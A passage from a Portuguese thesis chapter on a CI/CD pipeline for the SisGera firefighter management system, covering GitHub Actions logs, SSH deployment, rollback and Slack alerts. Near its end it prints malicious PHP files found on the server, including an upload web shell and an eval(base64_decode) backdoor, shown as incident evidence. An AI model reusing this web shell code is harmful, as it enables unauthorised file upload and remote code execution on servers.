4.1.1 Execucao da etapa de Integracdo Continua

A etapa de Integracao Continua foi observada em execuc¢ao quando ocorreram
merges para as branches “develop” e “main”, realizando validagoes sequenciais para
verificar a integridade do c6digo nos casos testados. A Figura 27 ilustra um fluxo
completo disparado a partir de “develop”, apds o qual o codigo pode ser disponibilizado

ao servidor de homologacao nesse cenario especifico.
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Figura 27 — Execucao bem sucedida do fluxo a partir de “develop”.

Status Total duration

8 Racamposx -0 66f1f0c develop Success 7m 29s

ETLRY

on: push

@ Deploy para Homologag... 4m 31s

(?) Deploy para Producio

Fonte: Elaborado pelo autor.

No detalhamento dessas execugoes, observa-se que ela se inicia com a preparacao
do executor do GitHub Actions; a Figura 28 ilustra essa preparac¢ao, bem como a obtengao
de actions comunitarias. Em seguida, realiza-se a obtencao do cédigo do repositorio
(Figura 29). Na Figura 30, configura-se na maquina de execuc¢ao a versao do PHP
utilizada no projeto. Depois, procede-se a validagdo das dependéncias com o Composer
(Figura 31). A préxima tarefa, mostrada na Figura 32, corresponde & andlise estédtica
do codigo-fonte, com o objetivo de verificar aderéncia a padroes do PHP, como PSR-1
e PSR-2. A Figura 33 apresenta a construgao da aplicagao via Docker. Na sequéncia,
executam-se os scripts de migragao (Figura 34), verificando, neste contexto, a aplica¢ao
das alteragoes de esquema. Por fim, quando existentes, os testes unitarios sdo executados

automaticamente pelo pipeline, refletindo a cobertura atualmente disponivel.
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Figura 28 — Preparagdo do executor do GitHub Actions.

v ° Set up job

Current runner version: '2.327.1°
Runner Image Provisioner
Operating System
Runner Image
GITHUB_TOKEN Permissions
Secret source: Actions
Prepare workflow directory
Prepare all required actions
Getting action download info
Download action repository ‘actions/checkoutfiva® (SHA:f43a@e5TT2bd294005638e18286ca%a3d1956744)
Download action repository *shivammathur/setup-php@v2' (5HA:20529878ed8lef8e78ddfa8b480401e6101a850T)

Complete job name: CI

Fonte: Elaborado pelo autor.

Figura 29 — Processo de checkout.

v @ Checkout do cédigo

» Run actions/checkout@v3

Syncing repository: ProjetoSisgera/sisgera-homologacao

» Getting Git version info

Temporarily overriding HOME='/home/runner/work/_temp/419f1851-cfde-4731-86e7-8b1518bdcP6a’ before making global git config changes

Adding repository directory to the temporary git global config as a safe directory

Deleting the comtents of '/home/runner/work/sisgera-homologacao/sisgera-homologacao®
Initializing the repository

Disabling automatic garbage collection

Fetching the repository

Determining the checkout info

»
»
» Setting up auth
>
»
»

Checking out the ref

"d2ffa269a4da398277167088 21 27ef9b59836828 "

Fonte: Elaborado pelo autor.
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Figura 30 — Instalacao do PHP na méquina de execugao.

v @ SetupPHP7.2

» Run shivammathur/setup-php@v2

Setup PHP
PHP

Setup Tools

Sponsor setup-php

setup-php https

Fonte: Elaborado pelo autor.
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Figura 31 — Instalacao das dependéncias do projeto.

v @ Instalar dependéncias via Composer

Installing dependencies from lock file (including require-dev)
Package operations: 91 installs, @ updates, @ removals

- Downloading kylekatarnls/update-helper (1.2.1)

- Downloading symfony/thanks (v1.3.8)

- Downloading doctrinefinflector (1.4.4)
Downleading doctrine/deprecations (1.1.5)
Downloading doctrine/lexer (2.1.1)
Downloading dragonmantank/cron-expression (v2.3.1)
Downloading symfony/polyfill-iconv {v1.32.8)
Downloading symfony/polyfill-mbstring (v1.32.8)
Downloading erusev/parsedown (1.7.4)
Downloading symfony/polyfill-ctype (v1.32.8)
Downloading vlucas/phpdotenv (v2.6.9)
Downleading symfony/polyfill-php88 (v1.32.8)
Downloading symfony/css-selector (v5.4.45)
Downloading tijsverkoyen/css-to-inline-styles (v2.2.7)
Downloading symfony/var-dumper (v4.4_.47)
Downloading symfony/routing (vd.4.44)
Downloading symfony/process (wd.4.44)
Downloading symfony/polyfill-php73 (v1.32.8)
Downleading symfony/polyfill-intl-normalizer (v1.32.8)
Downloading symfony/polyfill-intl-idn (v1.32.8)
Downloading symfony/deprecation-comtracts (v2.5.4)
Downloading symfony/mime (v5.4.45)
Downloading symfony/http-foundation (wd.4.49)
Downloading symfony/http-client-comtracts (v2.5.5)
Downloading symfony/event-dispatcher-contracts (v1.19.8)
Downloading symfony/event-dispatcher (v4.4.44)
Downloading psrflog (1.1.4)
Downloading symfony/debug (v4.4.44)
Downloading symfony/error-handler (v4.4.44)
Downloading symfony/http-kernel (v4.4.51)
Downloading symfony/finder (v4.4.44)
Downloading psrfcontainer (1.1.1)
Downloading symfony/service-contracts (v2.5.4)
Downleading symfony/console (wd.4.49)
Downloading egulias/email-validator (3.2.6)
Downloading swiftmailer/swiftmailer (v6.3.8)
Downloading paragonie/random_compat (v9.99.188)
Downloading ramsey/uuid (3.9.7)
Downloading psrfsimple-cache (1.8.1)
Downloading symfony/translation-comtracts (v2.5.4)
Downloading symfony/translation (v4.4.47)
Downloading nesbot/carbon (1.26.6)
Downloading monolog/monolog (1.27.1)
Downloading league/mime-type-detection (1.12.8)

Fonte: Elaborado pelo autor.
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Figura 32 — Analise estatica do cédigo fonte.

v @ Lintcom PHP-CS-Fixer

3) app/FormularioBOCI.php
begin diff
--- Original
++H New

@@ 6@

public function ocorrencia () {
return $this->belongsTo( " App\DadosOcorrencia’);

public function ocorrencia()

r
L

return $this->belongsTo( ' App\DadosOcorrencia’);

public function users () {
return $this->belongsTo( " App\User');

public function users()

r
L

return $this->belongsTo( "App\User”);

public function atendimento () {
return $this-rbelongsTo( " App\DadosAtendimento’);

public function atendimento()

¥
L

return $this->belongsTo( ' App\DadosAtendimento”);

public function vitima () {
return $this-rbelongsTo( " App\DadosVitimaIncendio®);

public function vitima()

¥
L

return $this->belongsTo( App\DadosVitimaIncendio®);

public function corporacao () {
return $this->belongsTo( " App\Corporacac’);

public function corporacao()

¥
L

return $this->belongsTo(  App\Corporacac’);

public function combate () {
return $this->belongsTo( " App\DadosCombate’);
public function combate()

¥
L

return $this->belongsTo( " App\DadosCombate”);

public function sistprotecao () {

return $this-rbelongsTo( App\DadosSistProtecao”);

public function sistprotecao()

r
L

Fonte: Elaborado pelo autor.



Capitulo 4. Resultados 62

Figura 33 — Construcao da aplicagao via Docker.

Build da aplicagdo com Docker

#20 DONE 2.1s

#21 [app] exporting to image

#21 exporting layers

#21 exporting layers 10.8s done

#21 writing image sha256:8fa2de2de8a942fd59002aadc2ae46e70ee91869c47a581157198104e2099375 done
app Built

#21 naming to docker.io/library/sisgera-homologacao-app done

#21 DONE 1©.0s

#22 [app] resolving provenance for metadata file
#22 DONE ©.8s
Network sisgera-homologacao_app-network Creating
Network sisgera-homologacao_app-network Created
Volume "sisgera-homologacao_dbdata"” Creating
Volume "sisgera-homologacao_dbdata™ Created
Container sisgera-homologacao-db-1 Creating
Container sisgera-homologacao-db-1 Created
Container sisgera-homologacao-app-1 Creating
Container sisgera-homologacao-app-1 Created
Container sisgera-homologacao-webserver-1 Creating
Container sisgera-homologacao-webserver-1 Created
Container sisgera-homologacao-db-1 Starting
Container sisgera-homologacao-db-1 Started
Container sisgera-homologacao-app-1 Starting
Container sisgera-homologacao-app-1 Started
Container sisgera-homologacao-webserver-1 Starting

Container sisgera-homologacao-webserver-1 Started

Fonte: Elaborado pelo autor.
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Figura 34 — Execuc¢ao dos scripts de migragcoes.

Execucao das migrations

Migrating: 2025 @8 07 145018 create ocorrencia table
Migrated: 2025 08 07 145018 create ocorrencia table
Migrating: 2025 @8 07 145219 create vitima bosimplificado table
Migrated: 2025 08 07 145219 create vitima bosimplificado table
Migrating: 2025 08 07 180720 create vitima boincendio table
Migrated: 2025 08 07 180720 create vitima boincendio table
Migrating: 2025 08 07 181621 create vitima boresgate table
Migrated: 2025 08 07 181621 create vitima boresgate table
Migrating: 2025 08 07 182022 create users table

Migrated: 2025 08 07 182022 create users table

Migrating: 2025 @8 07 182223 create produto table

Migrated: 2025 08 07 182223 create produto table

Migrating: 2025 08 07 182224 create boresgate table

Migrated: 2025 08 @7 182224 create boresgate table
Migrating: 2025 @8 07 182225 create boincendio table
Migrated: 2025 08 07 182225 create boincendio table
Migrating: 2025 @8 07 185326 create bosimplificado table
Migrated: 2025 08 07 185326 create bosimplificado table
Migrating: 2025 @8 07 193827 create patrimonio table
Migrated: 2025 08 07 193827 create patrimonio table
Migrating: 2025 08 07 194028 create doacao table

Migrated: 2025 08 07 194028 create doacao table

Migrating: 2025 08 07 194229 create chamados table

Migrated: 2025 08 07 194229 create chamados table

Migrating: 2025 08 07 194430 create comentarios chamado table
Migrated: 2025 08 07 194430 create comentarios chamado table
Migrating: 2025 08 07 194631 create historico usuario table
Migrated: 2025 08 07 194631 create historico usuario table
Migrating: 2025 08 07 194832 create movimento estoque table
Migrated: 2025 08 07 194832 create movimento estoque table
Migrating: 2025 08 07 195033 create mural table

Migrated: 2025 08 07 195033 create mural table

Migrating: 2025 @8 07 195234 create permissao menu_table
Migrated: 2025 08 07 195234 create permissao menu_table
Migrating: 2025 @8 07 211635 create requisicao bo table
Migrated: 2025 08 07 211635 create requisicao bo table

Fonte: Elaborado pelo autor.
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4.1.2 Execucao da etapa de Implantacdo Continua

Assim como a etapa de CI é ativada quando h& interagoes de merge para as
branches de “develop” e “main”, o mesmo ocorre para a etapa de CD. Seu fluxo pode
ocorrer em dois ambientes, homologacao e producao. A distingdo em como essa etapa
ocorre para ambos os ambientes esta relacionada na separagao de seus diretérios e a

condicao de ativacao. A Figura 35 mostra um fluxo bem sucedido a partir de “main”.

Figura 35 - Execucao bem sucedida do fluxo a partir de “main”.

Re-run trigg minutes ago Status Total duration

8 Racamposx -0 e3da318 main Success 6m 45s

main.yml

(©) Deploy para Homologagéo

@ Deploy para Producio

Fonte: Elaborado pelo autor.

A etapa de CD inicia-se com a preparacao do executor GitHub Actions e a
instalacao das actions comunitarias, responsaveis pelo checkout do cédigo do repositorio
e pela configuracao da conexao SSH com o servidor, conforme ilustrado na Figura 36. Em
seguida, o cddigo-fonte é obtido no servidor (Figura 37) e procede-se a compactacao dos
arquivos essenciais para a execugao da aplicagao (Figura 38). Nas etapas posteriores, a
conexao SSH é configurada e o servidor é adicionado a lista de “known hosts”, permitindo
que o executor reconheca o servidor do SisGera, como mostrado nas Figura 39 e Figura 40.
Apos a configuracao e estabelecimento da conexao SSH, é realizado a criacao dos diretérios
especificos para o ambiente e envio do projeto. Essas etapas sao exibidas na Figura 41.
Por fim, ocorre a descompactacao do projeto no destino e inicia-se o Atomic deployment,

com a atualizacao dos links simbélicos.
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Figura 36 — Preparagdo do executor do GitHub Actions.

v @ Setupjob

Current runner version: '2.327.1'

» Runner Image Provisioner

» Operating System

» Runner Image

» GITHUB_TOKEM Permissions

Secret source: Actions

Prepare workflow directory

Prepare all required actions

Getting action download info

Download action repository ‘actions/checkout@v3® (SHA:f43a@e5ff2bd294095638e18286ca%a3d1956744)
Download action repository "webfactory/ssh-agent@v@.5.4' (SHA:fc49353b67b2b7cleBebab®ds>72de1a6o+2672dd)
Complete job name: Deploy para Producdo

Fonte: Elaborado pelo autor.

Figura 37 — Processo de checkout.

v @ Checkout

» Run actions/checkout@v3

Syncing repository: ProjetoSisgera/***-homologacao

» Getting Git version info

Temporarily overriding HOME='/home/runner/work/_temp/8c95449b-3d81-4a53-b15b-5ddd@adb45@e" before making global git config changes

Adding repository directory to the temporary git global config as a safe directory

Initializing the repository

Disabling automatic garbage collection
Setting up auth

Fetching the repository

Determining the checkout info
Checking out the ref

"68553543d02d99e5d24T00068518e123865e67d8"

Fonte: Elaborado pelo autor.
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Figura 38 — Compactacdo do projeto com arquivos essenciais.

v @ Compactar com exclustes

¥ Run TIMESTAMP=%(date +'%YXmid-%HAM%S ")
TIMESTAMP=$(date +' %d - % S%)
mv release Current-${TIMESTAMP}

tar \
--exclude=".git" \
--exclude=".gitignore" \
--exclude=".github" \
--exclude="'vendor®' \
--exclude="docker-compose.yml" \
--exclude="Dockerfile" \
--exclude="docker-cfg" \
--exclude="phpunit.xml" \
--exclude="README.md" \
--exclude='.env"' \
--exclude="#***_db_test.sql" \
--exclude="app.tar.gz" \
-czf app.tar.gz \
Current-${TIMESTAMP}

echo "TIMESTAMP=$TIMESTAMP" >> $GITHUB_ENV
shell: /usr/bin/bash -e {8}
env:

SLACK_WEBHOOK_URL :

Fonte: Elaborado pelo autor.
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Figura 39 — Configuragao da action de SSH.

Setup SSH

» Run webfactory/ssh-agentfive.5.4

Adding GitHub.com keys to /home/runner/.ssh/known_hosts

Starting ssh-agent

SSH_AUTH_SOCK=/tmp/ssh-s6AQW80obD0OjL/agent.1917

SSH_AGENT_PID=1918

Adding private key(s) to agent

Identity added: (stdin) ((stdin))

Key(s) added:

2048 SHA256:Uh3ScFgleldivHV3MtukIjIouPpxPMOKJuLCutTMtU® (stdin) (RSA)
Configuring deployment key(s)

Fonte: Elaborado pelo autor.

Figura 40 — Configurando “known hosts”.
Add server to known_hosts

» Run mkdir -p ~/.ssh
# **¥*:22 SSH-2.0-0OpenSSH 8.0

# ***:22 SSH-2_.0-OpenSSH 8.0
*%*%:22 SSH-2.0-0OpenSSH_8.0
*%*%:22 SSH-2.0-0OpenSSH_8.0
*%%:22 SSH-2.0-0OpenSSH 8.0

Fonte: Elaborado pelo autor.
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Figura 41 — Passos conectados ao servidor: (a) criagdo do diretério releases (se necessario);
(b) criagao do diretério shared (se necesséario); (c) envio do pacote por Secure
Copy Protocol (SCP).

v @ Criar pasta para receber releases

¥ Run ssh **¥@*** "mkdir -p ~/releases_sisgera”

ssh ***g*** "mkdir -p ~/releases_sisgera”

shell: fusr/bin/bash -e {0}

env:
SLACK_WEBHOOK_URL :
TIMESTAMP: 20250712-841400
SSH_AUTH_SOCK: /tmp/ssh-s6AQW8obDOjL/agent.1917
SSH_AGENT_PID: 1918

v @ Criar pasta para shared

¥ Run ssh ¥¥¥g@¥** "plkdir -p ~/shared sisgera"

ssh ***g**%* "mkdir -p ~/shared_sisgera”

shell: fusr/bin/bash -e {0}

env:
SLACK_WEBHOOK_URL :
TIMESTAMP: 20250712-841400
SSH_AUTH_SOCK: /tmp/ssh-s6AQW8obDOjL/agent.1917
SSH_AGENT_PID: 1918

v @ Enviar arquivo para o servidor

¥ Run scp app-tar.gz ¥*¥@¥*¥*¥:./releases sisgera/
scp app.tar.gz **¥g¥***:./releases_sisgera/
shell: fusr/bin/bash -e {0}
env:
SLACK_WEBHOOK_URL :
TIMESTAMP: 20250712-9841400
SSH AUTH _SOCK: /tmp/ssh-s6AQW8cobD0OjL/agent.1917
SSH_AGENT_PID: 1918

Fonte: Elaborado pelo autor.
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Figura 42 — Descompactacao e inicio do processo do atomic deployment.

v @ Executar deploy remoto em Produgio

¥ Run ssh **¥g*** (g "EOF"
Ssh éﬁE:H@:Eé‘E: £€ 'EDF'

cd ~/releases_homologacao

Apagar release Previous, se existir

[ -d Previous ] & rm -rf Previous

Renomear Current para Previous, se existir

[ -d Current ] && mv Current Previous

# Descompactar nova release
tar -xzf app.tar.gz
rm -f app.tar.gz

MEW_RELEASE=%(find . -maxdepth 1 -type d -name "Current-*" ! -pame "Current” | head -n 1)

if [ -z "$SNEW_RELEASE" ]; then
echo "Erro: nova release com prefixo Current-* ndo encontrada.”

exit 1
fi

# Renomear para Current
mv "$NEW_RELEASE"™ Current

cd Current
# Instalar dependéncias
composer install --no-dev || exit -1

# Linkar .env & storage
In -f5 ../../shared_homologacao/.env .env

In -snf ../../shared homologacao/storage storage

# Atualizar symlinks em public_html

In -fs ~/releases_homologacao/Current/public/.htaccess ~fpublic_html/homologacao/ . htaccess
1n -nfs ~/releases_homologacao/Current/public/css ~{public_html/homologacao/css

1n -nfs ~/releases_homologacao/Current/public/dist ~{public_html/homologacao/dist

1n -nfs ~/releases_homologacao/Current/public/js ~{public_html/homologacao/js

ln -nfs ~/releases_homologacao/Current/public/error_log ~/public_html/homologacao/error_log
ln -nfs ~/releases_homologacao/Current/public/manifest ~fpublic_himl/homologacao/manifest

In -fs ~/releases_homologacao/Current/public/index.php ~fpublic_himl/homologacao/index. php
In -fs ~/releases_homologacao/Current/public/favicon.ico ~/public_html/homologacao/favicon.ico
In -f5 ~/releases_homologacao/Current/public/robots.txt ~/public_html/homologacao/robots . txt
In -f5 ~/freleases_homologacao/Current/public/serviceworker.js ~/public_html/homologacao/serviceworker.js
In -nfs ~/releases_homologacao/Current/public/uploads ~/public_html/homologacao/uploads

In -fs ~/releases_homologacao/Current/public/web.config ~fpublic_html/homologacao/web.config

echo "Deploy em HOMOLOGACAD concluide.™
EOF

Fonte: Elaborado pelo autor.




Capitulo 4. Resultados 70

4.1.3 Mecanismo de rollback

O processo de rollback é complementar ao desenvolvimento do pipeline CI/CD.
O mecanismo foi concebido para sugerir a possibilidade de restaurar a versao anterior
de forma célere, considerando o cendrio de testes estabelecido. Para tanto, é realizada
uma conexao com o servidor, a alteracao dos links simbolicos para a versao estavel e a
exclusao da versao defeituosa. Esse processo, entretanto, nao contempla alteracoes ao
banco de dados. Como identificado anteriormente, nao foi possivel realizar a execugao
dos scripts de migragoes para retornar ao estado anterior do banco, uma vez que grande

parte da evolucao do banco de dados do SisGera ocorreu via comandos de Structured
Query Language (SQL).

Esse mecanismo tende a ser aplicdvel em ambos os ambientes, mas deve ser
acionado apenas em situagoes de extrema necessidade. Seu fluxo segue o mesmo padrao
para homologacao e producgao, diferenciando-se apenas quanto ao diretério em que o
ambiente se encontra. Pelo fato de estabelecer uma conexao via SSH, verificar a existéncia
de uma versao anterior e alterar os links simbdlicos, os testes sugerem que sua execugao

se mostrou agil nas condi¢des avaliadas. A Figura 43 ilustra os processos associados.
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Figura 43 — Execuc¢ao do rollback no ambiente de producao.

~ @ Setupjob

1 Current runner version: '2.327.1°

2 b Runner Image Provisioner

7 b Operating System
11 b Runner Image

6 b GITHUB_TOKEN Permissions

o Secret source: Actions
21 Prepare workflow directory

2 Prepare all required actions

3 Getting action download info

4 Download action repositery ‘webfactory/ssh-agent@ve.5.4' (SHA:fc49353b67b2b71e0062600572001a69F2672dd)
5 Complete job name: Rollback do ambiente de producac

Setup SSH

1 » Run webfactory/ssh-agent@v®.5.4

4 Adding GitHub.com keys to /home/runner/.ssh/known_hosts

5 Starting ssh-agent

5 SSH_AUTH_SOCK=/tmp/ssh-OnEx2USbSazl/agent . 1869

7 SSH_AGENT_PID=1870

5 Adding private key(s) to agent

9 Identity added: (stdin) ((stdin))

2 Key(s) added:

1 2048 SHA256:rYDoiaE5IFQ4uAASNIXMIZGOYT3@9Wa0lecefpPKIyk (stdin) (RSA)

2 Configuring deployment key

3 Comment for (public) key Ssh-rsa AAAAB3INZaClyc2EAAAADAQABAAABAQDYBIua@1jHOEVAR]jaiAtd22=+*wpDVATI2g8xR+PTXZEXKP/49nL1Ra/40an7yar (stdin)* does not match GitHub URL pattern. Not treating it as a GitHub deploy key.
4 Comment for (public) key *' does not match GitHub URL pattern. Not treating it as a GitHub deploy key.

Add server to known_hosts

>> ~/ .55h/known_hosts

1 # ++#:22 SSH-2.9-OpenSSH_ 8.0

Executar rollback remoto

55 P Run ssh -T *=s@+s+ “ENV_NAME="producao’ bash -5~ << "EOF"
a o ambiente: producao

65 Diretério de releases alvo: /mome/***/releases ***

6 Diretério web alvo: /home/***/public_html

7 Verificando a existéncia da release 'Previous’...

68 Revertendo 'Current® para 'Previous’...

9 Recriando links simb6licos para a aplicagdo...

M Rollback no ambiente ‘producao’ finalizado com sucesso.

Fonte: Elaborado pelo autor.

4.1.4 Notificacoes e comunicacao via Slack

Durante a execucao dos fluxos do pipeline, todas as etapas sao acompanhadas por
meio de notificagdes automaticas integradas ao Slack. Esse mecanismo tem como objetivo
fornecer transparéncia em tempo real sobre o andamento dos processos de Integracao
Continua, CD e rollback, permitindo que os colaboradores do projeto sejam informados

imediatamente sobre o sucesso ou falha de cada execucao.

A Figura 44 exemplifica as notificacoes geradas pelo sistema, indicando a inicializa-
cao e conclusao de cada etapa do pipeline. Essa integracao contribuiu para a identificacao
mais rapida de falhas e sugere ganhos de eficiéncia no processo de manutengao do SisGera

no periodo analisado.

Como alternativa, também foi considerada a utilizagao da plataforma Discord
como canal de comunicacao. No entanto, pela praticidade de integragao nativa com

ferramentas de automacgao, o Slack mostrou-se mais vidvel para atender as necessidades
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do projeto.

Figura 44 — Canal de comunicacao com Slack do SisGera.

SisGera - Notify app 5:12 P
y | '8 Racamposx

* Inicializacio do processo de Cl &
-test #57 Jun 10th

& Racamposx

> -1 commits
-test #57 Jun 10th

1§ Racamposx
_f_ Inicializacio do processo de CD &
Racamposx st #58 Jun 10th

% Racamposx

for main
) = 3 commits
-test #58 Jun 10th

SisGera - Notify app 4:28 pIv
y | % Racamposx

* Inicializacdo do processo de Rollback &
hosx st #4  Jun 10th

Fonte: Elaborado pelo autor.

4.2 Racionalizacao do repositério e governanca de branches

O pipeline permitiu consolidar o projeto em um tunico repositorio, substituindo a
necessidade de separar cada ambiente por repositério. Anteriormente, a base de codigo

era mantida em dois repositorios distintos: um para o ambiente de homologacao e outro
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para o de producao. Conforme ilustrado na Se¢ao 4.1, o pipeline automatizado é capaz de
direcionar as implantacoes para os ambientes corretos com base na branch que acionou o

fluxo.

Figura 45 — Separacao de repositérios do SisGera.

Language ~

Fonte: Elaborado pelo autor.

Essa mudanca combinada com a adoc¢ao do GitFlow, sugere avangos de matu-
ridade no processo de desenvolvimento no contexto observado. As responsabilidades
de cada branch estao agora claramente definidas e documentadas, criando um fluxo de
trabalho organizado, rastreavel e menos suscetivel a conflitos entre as contribuigoes dos
desenvolvedores. A documentacao do projeto inclui a responsabilidade de cada branch,
como funciona a criacgdo de tags de versao e do fluxo envolvido do pipeline C1/CD. Essa

observagao pode ser feita nas Figura 46, Figura 47 e Figura 48.
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Figura 46 — Secao da documentacao de responsabilidades de branches

¢ Responsabilidades

odigo em producao, estavel.
0 recebe merge de release/* e hotfix/* .

* (Cada merge em main € tagueado com a verséo liberada.
develop

» Integracdo continua do que sera a proxima versdo.

* Recebe merges de feature/* , de release/* (apdsir para main ) e de hotfix/* .
teature/*

* Nova funcionalidade ou mudanca isolada.
* Criacdo: develop — feature/<descricao-curta>

* Destino: merge de volta em develop .
release/<MAJOR(X) .MINOR(Y) .PATCH{Z)>

Criacdo a partir de develop quando congelamos features para preparar a versdo.
Aqui s6 entram corre¢des, testes e documentacéo.
Destino: merge em main (gera tag) e merge de volta em develop.

Apds a publicagdo, a branch é removida.
hotFix/<MAJOR(X).MINOR(Y).PATCH(Z)>

* Correcdo urgente em producédo.
* Criacdo a partir de main .

* Destino: merge em main (gera tag) e merge em develop .

Fonte: Elaborado pelo autor.
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Figura 47 — Sec¢ao de criacado de versao com tags

Versionamentos e tags

: MAJORMINOR.PATCH (X.Y.Z)

* MAJOR: Mudangas incompativeis (breaking changes)
* MINOR: Novas funcionalidades compativeis

* PATCH: Corregdes
Onde e quando criar tags

» Crie tags anotadas no commit de merge em main apOs mesclar uma release/* ou hotfix/+*.

+ MNome da tag: vMAJORMINOR.PATCH (ex.: v2.3.0, v2.3.1).

Exemplo: publicar uma release:

git pull
git checkout -b releasef2.2.@

# 2) Ajustar versdo (changelog, package version, etc.), commits de corregbes...
git commit -m "chore: bump version to 2.3.8"

# 3) Mesclar em main e taguear
git checkout main

git pull

git merge --no-ff release/2
git tag -a v2. -m "Release 2

# 4) Mesclar a release de volta em develop
git checkout develop
git merge --no-ff releasef2.3.8 -m "Merge release/2.3.8@ back into develop™

Exemplo: aplicar um hotfix

# 1) Criar hotfix a partir de main
git checkout main

git pull

git checkout -b hot

# 2) corrigir, ajustar versdo para PATCH e commitar

git comit -m "fix: corrige bug critico”
git commit -m “chore: bump version to 2.3.1"

# 3) Mesclar em main e taguear

git checkout main

git merge --no-ff hotfixf2.2.1 -m "Hotfix 2.3.1"
git tag -a v2.

# 4) Propagar a correcao

# Se houver release aberta: mesclar também ma release

# Caso contrdrio, mesclar em develop:

git checkout develop

git merge --no-ff hotfix/2.2.1 -m "Merge hotfix/2.3.1 into develop™

# 5) Limpe
git branch -d hotfixf2.3.1
git push origin main develop --tags

Fonte: Elaborado pelo autor.
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Figura 48 — Secao descrevendo o processo de CI/CD.

Processos de CI/CD realizados

Integragdo Continua (Cl) A Integragdo Continua consiste em automatizar o processo de mesclar (ou “integrar”) as alteragdes de codigo feitas
por miltiplos desenvolvedores em um repositério central. Cada vez que um desenvolvedor envia seu cédigo, um sistema automatizado entra
em acdo para compilar o projeto e rodar uma série de testes para verificar se a nova alteracio ndo quebrou nenhuma funcionalidade existente.
Mo processo de Cl do SisGera, as seguintes etapas ocorrem:

1. Instala PHP na versdo do projeto.
. Instala dependéncias com Composer.
3. Executa Linter com PHP-CS-Fixer.

. Build da aplicacdo com Docker.

4
5. Execugdo de migrations.
6

. Execugdo de testes unitarios.

E importante ressaltar alguns pontos, entre eles é que o SisGera ndo possui grandes coberturas de testes, isso impacta no processo de Cl que
realiza execugio dos teste unitarios. Seria ideal a ecrita de testes para as implementagdes que vierem a acontecer.

Implantacdo Continua (CD) Na Implantacdo Continua (CD), se o codigo for aprovado em todas as etapas anteriores do pipeline ele é
implantade em producdo ou homologacdo automaticamente, sem qualquer intervengdo humana. Cada alteragdo que passa com sucesso pelos
testes chega diretamente aos usuarios finais. No processo de CD do SisGera, as seguintes etapas ocorrem:

1. Compactacéo do projeto em tar.gz.

2. Estabelece conexdo SSH com o servidor.

3. Criar pasta realeses_, caso ndo exista.

4. Criar pasta shared_, caso ndo exista.

5. Envio dos arquivos via SCP para pasta dos ambientes.

6. Atualizagdo dos links simbolicos do ambiente em shared e no public_html referentes.

Estrutura de diretérios do servidor

fhome/sisgera/
I— releases_sisgera/
|- shared_sisgera/ . g
|— public_html -> ../releases_sisgera/Current/public
|— release_homologacao/ # ou s_homo
|- shared_homologacao/
L public_html/homologacao -> ../../release_homologacao/current/public

Fonte: Elaborado pelo autor.

4.3 Previsibilidade e padronizacao das implantacoes

Padronizou-se o processo de entrega (empacotamento, transferéncia, descompac-
tagdo e troca atomica de links simbdlicos), o que, no contexto experimental, sugere
menor variabilidade de passos manuais e indica potencial redugao da suscetibilidade a
erro humano. O mesmo vale para a restauracao (rollback), cuja execugao agora segue
um roteiro Unico e rastreavel. Conforme a Figura 49, era necessario acessar o painel do
cPanel e ir até a secao de “Gerenciador de arquivos” na qual ha a opcao de realizar
a submissao do projeto. Apods a submissao, era preciso descompactar e direcionar os

arquivos do projeto para seus respectivos diretérios.
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Figura 49 — Tela de submissao de arquivo no cPanel.

Selecione o arquivo que deseja carregar em “/home/sisgera”.
Tamanho maximo de arquivo permitido para carregamento: =
[JJ Substitua os arquivos existentes

Arraste os arquivos para ca a fim de comecar a carregar

ou

Selecionar arquivo

© voltar para “/home/sisgera”

Fonte: Elaborado pelo autor.

E importante ressaltar que a verificacdo da implantacio no cPanel permanece
recomendada. No periodo analisado, foram identificados arquivos maliciosos, o que sugere
manter inspegoes de seguranca regulares. Essas questoes levantam preocupacoes quanto
a atual versao da aplicagao, que utiliza o PHP 7.2 e o Laravel 5.6, ambas as versoes sao

descontinuadas e podem estar suscetiveis a falhas de seguranca.

Os arquivos oriundos de ataques ao servidor do SisGera podem ser observados
na Figura 50, Figura 51 e Figura 52. Nota-se que além de templates de paginas, foram
submetidos alguns scripts para serem executados. Ao momento da identificacdo desses

arquivos, foi feita a exclusao e conferéncia de cada diretério e da composi¢ao do banco
de dados.

Figura 50 — Arquivo malicioso no servidor do SisGera

P rvmhor X

sisgera.com.br

- r\/m horXO . ph p ( PHP script, ASCII text, with very long lines, with CRLF, LF line terminators )

<?php

goto Fy6Bg; Fy6Bg: error_reporting(®); goto MqCaé; MqCaé: function MhAJL() { goto a6tUo; a6tUo: $ir7ui = 'R e I e s

2>

»

Fonte: Elaborado pelo autor.
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Figura 51 — Arquivo malicioso no servidor do SisGera

[l % sisgeracom.br.

- Ch Itog e . ph p ( PHP script, ASCII text, with very long lines )

<?php
error_reporting(e);

if(isset($_GET["Chitoge"])) {
echo "<hl»<i>Chitoge kirisaki <3</i></hl><br>";
echo "<b><phpuname>".php_uname()."</phpuname></b><br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'1;
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST'];
echo "Sukses -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload di document root.";
}
} else {
if(@copy ($_FILES['idx_file']['tmp_name'], $files)) {
echo "sukses upload <b>$files</b> di folder ini";
} else {
echo "gagal upload";
}

Fonte: Elaborado pelo autor.

Figura 52 — Arquivo malicioso no servidor do SisGera

- rce . ph p ( PHP script, ASCII text, with very long lines )

<?php
error_reporting(@);
if(isset($_GET['up' 1)) {
echo "<hl»<i>Chitoge kirisaki <3</i></hl><br>";

eval(base64_decode (' ZnVuY3Rpb24gYWRtak51cigkdXIsLCAkaXNpKSB7CiAgICAg ICAgIGZWIDBEZMIWZNA0IGlzaSwgIncik TsKICAgICAICAkY2 ggPSBIdXIsX2 1uaXQoK Tsk ICAgICAgICBdXIsX3N1dGIwdCgky
} else {

header('HTTP/1.1 403 Forbidden');
}

o5

Fonte: Elaborado pelo autor.
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5 Consideracoes finais

Neste trabalho foi implementado um pipeline de Integragdo Continua / Implan-
tacdo Continua para o Sistema de Gerenciamento e Registro de Atividades, utilizado
por corporagoes de bombeiros voluntarios em Minas Gerais. O objetivo principal foi
modernizar o processo de entrega de software, anteriormente manual e suscetivel a fa-
lhas, substituindo-o por um fluxo automatizado, previsivel e rastreavel. Desenvolveu-se
o pipeline com trés etapas principais: Integracao Continua, Implantacao Continua e
